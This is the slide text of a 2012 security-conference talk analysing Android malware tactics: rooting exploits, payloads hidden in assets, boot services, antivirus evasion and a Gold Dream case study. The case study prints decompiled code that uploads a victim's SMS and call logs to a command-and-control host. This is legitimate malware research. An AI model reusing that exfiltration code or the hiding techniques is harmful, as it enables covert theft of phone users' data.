  • 1. ToorCon 14 Security Conference, San Diego, 17 – 21 October 2012 Aditya K Sood (Senior Security Practitioner) IOActive| Department of Computer Science and Engineering Michigan State University {Malandroid} – The Crux of Android Infections
  • 2. 2 Whoami !  Aditya K Sood ● Senior Security Practitioner – IOActive ● PhD Candidate at Michigan State University – Worked for Armorize, COSEINC, KPMG and others. – Active Speaker at Security conferences » DEFCON, RSA, SANS, HackInTheBox, OWASP AppSec, BruCon and others – LinkedIn - http ://www.linkedin.com/in/adityaks – Website: http://www.ioactive.com – Twitter: @AdityaKSood
  • 3. 3 Agenda  Android Security Overview  Insidious Infection Tactics – Design Strategies  Reversing Android Malware – A Case Study  Chinese Alternate Markets - Connecting Dots  Existing Android Defenses  Big Problems in Android  Conclusion
  • 4. 4 In This Talk ! We Study the Interesting Tactics in the Android Malware from 2011 – until now !
  • 5. 5 Android Existing Market  The Reality ● Refer: – http://developer.android.com/about/dashboards/index.html – https://blog.duosecurity.com/2012/09/early-results-from-x-ray-over-50-of-android- devices-are-vulnerable/
  • 6. 6 Android - Vulnerabilities and Exploits Vulnerabilities Explanations Zimperlich [2.2.0, 2.2.1 , 2.2.2] RageAgainstTheCage - Android’s Zygote process failed to check the return value of setuid (2) ZergRush [2.2,2.3] Android’s libsysutils allows the code execution to with command arguments to bypass system controls. [CVE-2011-3874] Wunderbar Privilege escalation in mmap_min_addr (null pointer dereference ) Mempodroid [4.0 (0-3)] Arbitrary memory writing in setuid’s address space by exploiting vulnerability in /proc/pid/mem [CVE-2012-0056]. Adb access required for exploitation. Levitator Power VR Kernel module used for 3D graphic allows access to kernel memory KillingInTheNameOf [<= 2.2.2] Ashmem - Custom shared memory allocator bug helps in rooting of devices. [CVE-2011-1149] Exploid [ <= 2.1] Init daemon (udev functionality) failed to check the origin of netlink messages coming from kernel [CVE-2009-1185]. Hotplug (/proc/sys/kernel/hotplug) path overwrite Gingerbreak [2.2.3, 2.3.[0–3], 3.0 Vold daemon failed to check the origin of netlink messages coming from kernel [CVE-2011-1823] WebKit [ < 2.2] Code execution - NaN handling in lack of validation in floating point number [CVE-2010-1807]
  • 8. 8 Android Platform Realities  Android Platform Realities ─ Huge improvement in security model but ……………… ● Android provenance system – Application masquerading (repackaging) is easy ● Permissions are user centric – Explicitly relies on user’s knowledge to make smart decisions about security – Its hard to imagine that every user is security driven or knowledgeable ● Encryption is offered in platforms beginning with version 3 – All the android versions < 3 do not have proper encryption model » Once exploited, all data is completely open. No security for data at rest. ● No built-in mechanism to prevent social engineering and web trickeries ● Existence of alternative android application markets – Highly risk driven from security point of view – Increases the attack surface with mobility and flexibility
  • 9. 9 Android Malware – What Matters?  Android Malware ─ Malware Hosting ● Legitimate android markets ● Alternate android markets ─ Delivery Model ● Websites, Drive-by Downloads, Malicious Attachments ─ The State of Devices ● Rooted android phones ● Unrooted android phones ─ Exploitation ● Root exploits from remote servers – Dynamic loading capability of Dalvik Virtual Machine ● Root privileges
  • 10. 10 Android Malware – Threats  Privacy Issues  Information Leakage ─ SMS/ Contacts/ Phone Identity Information (IMEI/IMSI) and others  Online Banking Frauds and Thefts  Targeted Attacks Against Corporate Networks  Android Botnets  Pivot Attacks Against GSM Networks  And Others ……..
  • 11. 11 Insidious Infections and Design Strategies
  • 12. 12 Android Malware – The Classics Droid Kung Fu Plankton Root Smart Gold Dream Hippo SMS Nicki Bot Anserver Bot Bean Bot Gold Dream Gambler SMS Rogue SP Push Push Bot DFK Boot Kit FJCon TG Loader Many More …
  • 13. 13 Android Malware – Latest in Last Few Months FakeLookout.A Plankton Variants FinFisher Fin Spy SMS Zombie Android_Fakeinst.A Fake Lash Loozfon LuckyCat.A Android VdLoader Drop Dialer MMMarket Pay FindAndCall Android KunFu Variants Android C14 SMS bot Many More …
  • 14. 14 Application Masquerading  Application Masquerading ─ Technique of hiding malicious application inside legitimate application ● Malicious payloads are compressed and embedded in other file formats – Also termed as Repackaging ● Runtime unwrapping of malicious code ● Effective in hiding the real nature of application ● Invasive approach to bypass the security mechanisms Legitimate Application Masqueraded Application
  • 15. 15 Stealthy Assets  Designing Stealthy Assets ─ Assets ● These are the extra set of resources that are packaged inside android applications – Package path - <application bundle name>.apk/assets/ ● Files stored in assets can be discovered dynamically using AssetManager.list() ● /assets should not be confused with custom /res/raw [ both are different] – /assets support tree hierarchy where as /res/raw does not – /assets do not require identifier for reference where as /res/raw does. ─ Characteristics ● Used heavily for hiding payloads and malicious code ● Example:- Designing malicious PNG files – PNG files are used to hide payloads and used for compression – Deployed by very first: Foncy/Madden FL Android Malware ● Malicious code is also embedded with a routine for extracting code in assets during runtime – Routine - Java byte code that interacts with asset manager
  • 16. 16 Bootstrapping Payloads and Services  Bootstrapping ─ Detecting the completion of Android boot process ● Registering a system wide event – android.intent.action.BOOT_COMPLETED ─ Starting hidden service ● Registering a malicious service in the backend ● Service monitors the state of Android phone ● Downloads other malicious packages when the phone is not active – When user is not interacting with the phone ─ Service capabilities ● Monitors the state of various antivirus processes an kills them accordingly ● And many more …………. ─ Related Android Malware Examples – Gap II and Update Killer
  • 17. 17 Android Bootkits – An Overview  Bootkits ─ Getting root privileges ● Hiding in legitimate applications that require root privileges – Application masquerading / Piggy backing ─ Registering agent controller service ● Activates Boot Sequence Manipulation (BSM) agent ● BSM agent validates whether it has root privileges ● If yes, mounts the system partition (w+). If not, deletes itself ● BSM agent copies itself to /system/lib and alters several system programs , booting scripts and daemons. ─ Hijacking android framework initialization capabilities ● To execute custom packages before legitimate ones ● Example: Chinese Malware (DKF Bootkit)
  • 18. 18 Custom Firmware Images  Android Custom Firmware Images ─ Enhanced stock ROMs (legitimate for more functionality) ─ Distributed in the underground or third-party forums ─ Modification allows: ● To gain certain privileges that are available to system only ● Altering the state of adb by modifying the ram disk – Configuring build.prop to tweak ro.secure parameter – Also possible through setting setprop shell command ● Manipulate the custom recovery options as per the requirement – Custom recovery modes are driven with null security ─ Compiling custom Android using Android Open Source Project (AOSP) ● Generate a key at AOSP to sign custom images ● Makes custom images look more authentic
  • 19. 19 Defending The Code  Android Custom Firmware Images ─ Obfuscation/Encryption ● Code – Encrypting all the method names in the classes. – Makes the invocation process more stealthier ● Network – Encrypting the communication using aymmetric encryption – Public keys are fetched dynamically ─ Anti Repackaging Check ● Verify the signature of the remote payload (application) before execution – To scrutinize the payload has not been tampered ─ Antivirus Detection ● Attempts to bypass and shutdown the configured security applications ─ Example ● Most of the advanced Android bots use one of these capabilities.
  • 20. 20 Time-based Code Execution  Delayed Execution ─ Inherent feature to make the malicious activity dormant for a certain period of time ─ Upon installation, malicious application remains silent. ─ Malicious behavior is designed using : ● Time scheduler ● System uptime ● System time settings and time zones ● Connecting back to C&C server at a specific point of time ─ A good step in bypassing behavioral based detection
  • 21. 21 Exploiting Administration API’s  Administration API’s ─ Device Administration API – supported since android 2.2 version ● Good : attractive feature to enabled developers to build enterprise applications that require features at system level. ● Bad : Completely relies on user permission. If granted, policies are enforced ● Worst: Malicious applications are presented as Device Administration applications. If allowed , works with similar set of permissions as system. – Allows attackers to specify policies as hard coded or remotely. ─ Risks ● Malicious application leverages the benefit of system privileges. ● Malicious application can – Wipe all the data from phone and restore the state to factory defaults – Force users to follow the rogue policies – Disabling certain features on the device.
  • 22. 22 Mobile Malvertising  Mobile Malvertising ─ Started with the concept of mobile advertising ● Initial samples of android malware used this trick for advertising various custom games and other business operations ─ Transforming mobile advertising into mobile malvertising ● Using advertising to download malicious payloads onto user mobiles ● Design/ development of malvertised applications – Creating a SWF file using Flash or Flex. » Create an image that is a part of resource file – Create an XML file containing a description of the malvertised application. – Run the packager. For android, install SDK and sign the malvertised application – Host it on the third party android market and start distributing it. – Once the phone installs it infection begins shortly.
  • 23. 23 Hacktivism – Political Legacy  Hacktivism ─ Android malware has shown some facets of Hacktivism ● Sending messages containing political point or appeal ● Raising awareness about political mayhem in the respective country – Well!, the user is going to pay for the messages ! » Malware does not contain any complex code ─ Spreading Hacktivism ● Sending messages about leaders, political chaos and support to other users listed in contacts ● Morphing or replacing pictures present on user’s device ● Examples: (The very first Android samples) – Android Arspam Alsalah  promoting leader of Tunisian revolution – Android Moghwa  promoting leader of Iranian revolution 1979
  • 24. 24 Mobile Droppers / Bots in Action  Mobile Droppers ─ Masqueraded applications that look legitimate and uses market brands such as games etc to hide their potential functionality ─ Droppers download or extracts other malicious applications in the user mobile in a stealthy manner
  • 25. 25 Mobile Droppers / Bots in Action  Mobile Droppers ─ Peripheral Look ● Extracting strings Mounting devices Clearing logs (logcat –c) IRC communication capability Rooted device notification Bot driven APK file embedded in PNG file
  • 26. 26 Mobile Droppers / Bots in Action  Mobile Droppers (Techniques) ─ Disassembly ARM instructions ● Malicious PNG file dissection IRC Login call in action. STMFD (Full Descending) call keep on updating the stack pointer as it grows IRC Connect call in action. ARM/ Thumb code in PNG files
  • 27. 27 Mobile Droppers / Bots in Action  Mobile Dropper + Bot (Badging) Dropper – Badging Information Permissions Layout Extracted Bot – Badging Information
  • 30. 30 Android Gold Dream  Android Gold Dream (com.gamelio.DrawSlasher) ● Upload files in a stealthy manner ● Files extracted ● Device information ● Calling capability
  • 31. 31 Android Gold Dream  Android Gold Dream (com.gamelio.DrawSlasher) ─ URL fracturing  Interesting code » ((UploadFiles )localObject).uploadFile("http://" + getKeyNode("dom", "dom_v") + "/zj/upload/UploadFiles.aspx?askId=1&uid=" + getKeyNode("uid", "uid_v"), "/data/data/com.gamelio.DrawSlasher/files/zjsms.txt"); » ((UploadFiles) localObject).uploadFile("http://" + getKeyNode("dom", "dom_v") + "/zj/upload/UploadFiles.aspx?askId=2&uid=" + getKeyNode("uid", "uid_v"), "/data/data/com.gamelio.DrawSlasher/files/zjphonecall.txt"); ─ So what are these dom, dom_v , uid, uid_v ● Target  To get the full URL to find where the data is being uploaded
  • 32. 32 Android Gold Dream  Android Gold Dream (com.gamelio.DrawSlasher) ─ The variables used in URL through getKeyNode are defined as local objects ● Local objects , why not to go for shared objects or shared preferences ● Data is pulled from /data/data/com.gamelio/DrawSlasher/sharedprefs ● All the local objects are stored as respective xml files
  • 33. 33 Android Gold Dream  Android Gold Dream (com.gamelio.DrawSlasher) ─ The extracted URL’s are – hxxp://lebar.gicp.net/zj/upload/UpdateParam.aspx?uid=0&taskTypeId=1&type=0 – hxxp://lebar.gicp.net/zj/upload/UploadFiles.aspx?askId=1&uid= – hxxp://lebar.gicp.net ─ Domain information
  • 34. 34  Android Gold Dream (com.gamelio.DrawSlasher) ─ *.gicp.net somewhat belongs to Android Gold Dream
  • 35. 35 Connecting Dots Android Malware Case Studies The World of Chinese Malware - Facts
  • 36. 36 Android Base Bridge Android Base Bridge served heavily on different markets in China
  • 37. 37 Android Lotoor / RageAgainstTheCage Alternate markets in China
  • 38. 38 BrandJacking/{Typo | Cyber}squatting  Chinese android market is exploiting the integrity and brand values of primary business domains.  Example: Android Doctor Domain ● hxxp://www.androiddoctor.com – IP Address - 184.73.194.128 (USA) ● hxxp://www.androidoctor.com – IP Address - 96.44.158.2 (China)
  • 39. 39 BrandJacking/{Typo | Cyber}squatting Both domains were take off recently. Now http://www.android-doctor.com works
  • 40. 40 Anserver Bot  Anserver Bot ● The detailed analysis has already presented here: – Refer  http://www.csc.ncsu.edu/faculty/jiang/pubs/AnserverBot_Analysis.pdf  How we want to take a look at it? ● The domain hxxp://sina.com.cn – We are trying to connect the dots to map interesting set of information
  • 41. 41 Connecting Dots ……….  Mapping Domains and History ● hxxp://www.sina.com.cn is high traffic oriented website in china – Highly ranked | Lots of traffic from China (202.108.33.60) – hxxp://blog.sina.com.cn | blogx.sina.com.cn is subdomain or blog hosted at it. » Used for malicious activities (218.30.115.254)
  • 42. 42 Connecting Dots ……….  Mapping Domains and History ● hxxp://www.sina.com (Network) – Website : hxxp://www.sina.com.cn
  • 43. 43 Connecting Dots ……….  Mapping Domains and History ● In 2009, there were some incidents of malware happened as described – A registrant has an identification of sina.com.cn to register fuckunion.com – Culprit domain : *.fuckunion.com » FUCKUNION.COM  critical and interesting Sub domains still serve malware
  • 44. 44 Connecting Dots ……….  Mapping Domains and History ● hxxp://www.fuckunion.com The website is off recently.
  • 45. 45 Connecting Dots ……….  Mapping Domains and History ● hxxp://www.net.cn
  • 46. 46 Defending Against Android Malware What We have Right Now ?
  • 47. 47 Android Malware – Defense  Malicious Apps Detection Tools by Different AntiVirus Vendors ● Privacy Leak Detection Frameworks – TaintDroid and PioS ● Over Privilege and Permission Checker – Stowaway ● Fine Grained Control Of System Resources – Extensions – MockDroid, TISSA, Apex and AppFence ● Secure Policy Enforcement to Remove Exposed Interfaces – Saint ● Static Analysis Tools – Comdroid and Woodpecker ● Android Vulnerability Checker – X Rays ● Android Google Play – Application Checker – Bouncer ● SEAndroid is in building stage
  • 48. 48 And … There Are Much More to the Android Malware…
  • 49. 49 So Some Of The Big Problems Are …  No Code Signing ● Self signatures can be circumvented to repackage the applications  Native Code Execution ● No restriction on the privileges for setting execution bit (Root/Apps)  Permission Sandbox (All or None Policy) – Actions without Permissions » RECEIVE_BOOT_COMPLETED | START_ON_INSTALL  Existence of Alternate Market Places  Google Play (Android Market) Communication Channel Issues  No Robust Android Malware Detection at Network Level  Delayed Patch Process (Developers and Vendors)  Do Kill Switch (REMOVE_ASSET) or Bouncer Works Against Modern Malware?
  • 50. 50 And the Real World Question Is … Do Users Really Care About Android Malware?
  • 51. 51 Conclusion  Users awareness is required !  More strong defenses are the need of the Time !  Malware flavors are going to change in the Android world !  Malware will increase !
  • 52. 52 Further Reading – Interesting Work  Android ─ Net Q Blog  http://research.netqin.com/ ─ Don’t Root Robots  http://safecomputing.umich.edu/events/sumit11/docs/dontrootrobots.pdf ─ http://jon.oberheide.org/files/shmoo11-teamjoch.pdf ─ Android Bouncer http://jon.oberheide.org/files/summercon12-bouncer.pdf ─ This is not the droid you are looking for, https://www.defcon.org/images/defcon-18/dc-18-presentations/Trustwave- Spiderlabs/DEFCON-18-Trustwave-Spiderlabs-Android-Rootkit-WP.pdf ─ Android Security Overview -http://source.android.com/tech/security/index.html ─ Dissecting Android Malware - http://www.csc.ncsu.edu/faculty/jiang/pubs/OAKLAND12.pdf ─ Android Malware Data Set - http://www.malgenomeproject.org/ ─ Droid Moss - http://www.csc.ncsu.edu/faculty/jiang/pubs/CODASPY12.pdf
  • 53. 53 Questions ? Thanks ToorCon Team Contact: aditya.sood [at] ioactive.com